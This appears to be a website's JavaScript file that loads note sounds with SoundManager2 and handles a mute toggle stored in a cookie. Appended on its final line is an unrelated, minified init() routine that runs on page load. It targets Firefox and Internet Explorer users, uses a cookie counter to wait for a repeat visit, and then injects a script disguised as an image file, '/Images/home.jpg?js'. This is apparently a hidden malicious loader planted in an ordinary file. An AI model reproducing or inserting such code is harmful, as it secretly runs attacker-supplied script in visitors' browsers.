soundManager.url = 'sound/Soundmanager/swf'; // directory where SM2 .SWFs live

/* Supress debug info. */
soundManager.debugMode = false;

/* Global variables needed for muting/unmuting. */
var muted = false;
var sounds = ['note_e', 'note_f', 'note_g', 'note_ah', 'note_ch', 'note_dh', 'note_eh', 'note_fh'];

/** Load the sounds into the soundmanager. */
soundManager.onload = function()
{
	var note_e = soundManager.createSound(
	{
		id: 'note_e',
		url: 'sound/files/note_e.mp3',
		volume: 50
	});
  
	var note_f = soundManager.createSound(
	{
		id: 'note_f',
		url: 'sound/files/note_f.mp3',
		volume: 50
	});
  
	var note_g = soundManager.createSound(
	{
		id: 'note_g',
		url: 'sound/files/note_g.mp3',
		volume: 50
	});
  
	var note_ah = soundManager.createSound(
	{
		id: 'note_ah',
		url: 'sound/files/note_ah.mp3',
		volume: 50
	});
  
	var note_ch = soundManager.createSound(
	{
		id: 'note_ch',
		url: 'sound/files/note_ch.mp3',
		volume: 50
	});
  
	var note_dh = soundManager.createSound(
	{
		id: 'note_dh',
		url: 'sound/files/note_dh.mp3',
		volume: 50
	});
  
	var note_eh = soundManager.createSound(
	{
		id: 'note_eh',
		url: 'sound/files/note_eh.mp3',
		volume: 50
	});
  
	var note_fh = soundManager.createSound(
	{
		id: 'note_fh',
		url: 'sound/files/note_fh.mp3',
		volume: 50
	});
  
	// Set all volumes to 50
	for (var i = 0; i < 8; i++)
		soundManager.setVolume(sounds[i], 50);
	
	check_mute()
}

/** Toggle between mute and not muted sounds.
 *  Also set the cookie properly and change the mute
 *  logo.
 */
function toggle_mute()
{
	if (muted)
	{
		muted = false;
		unmute();
		
		// Store the value in a cookie
		setCookie("muted", false, 999);
	}
	else
	{
		muted = true;
		mute();
		
		// Store the value in a cookie
		setCookie("muted", true, 999);
	}
}

/** Mute the sound.  Also change the mute logo.*/
function mute()
{
	soundManager.mute();
	
	// Change the icon
	document.getElementById('menu_sound').style.backgroundImage="url('Images/mute_s.png')";
}

/** Unmute the sound.  Also change the mute logo.*/
function unmute()
{
	soundManager.unmute();
	
	// Change the icon
	document.getElementById('menu_sound').style.backgroundImage="url('Images/unmute_s.png')";
}

/** Check whether the sound was muted last time.
 *  If so, mute it again.
 */
function check_mute()
{
	wasmuted = getCookie("muted");
		
	if (wasmuted == "true")
	{
		muted = true
		mute();
	}
}

/** Set a cookie. */
function setCookie(c_name,value,exdays)
{
	var exdate=new Date();
	exdate.setDate(exdate.getDate() + exdays);
	var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
	document.cookie=c_name + "=" + c_value;
}

/** Get a cookie. */
function getCookie(c_name)
{
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
  {
  x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  x=x.replace(/^\s+|\s+$/g,"");
  if (x==c_name)
    {
    return unescape(y);
    }
  }
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Images/home.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
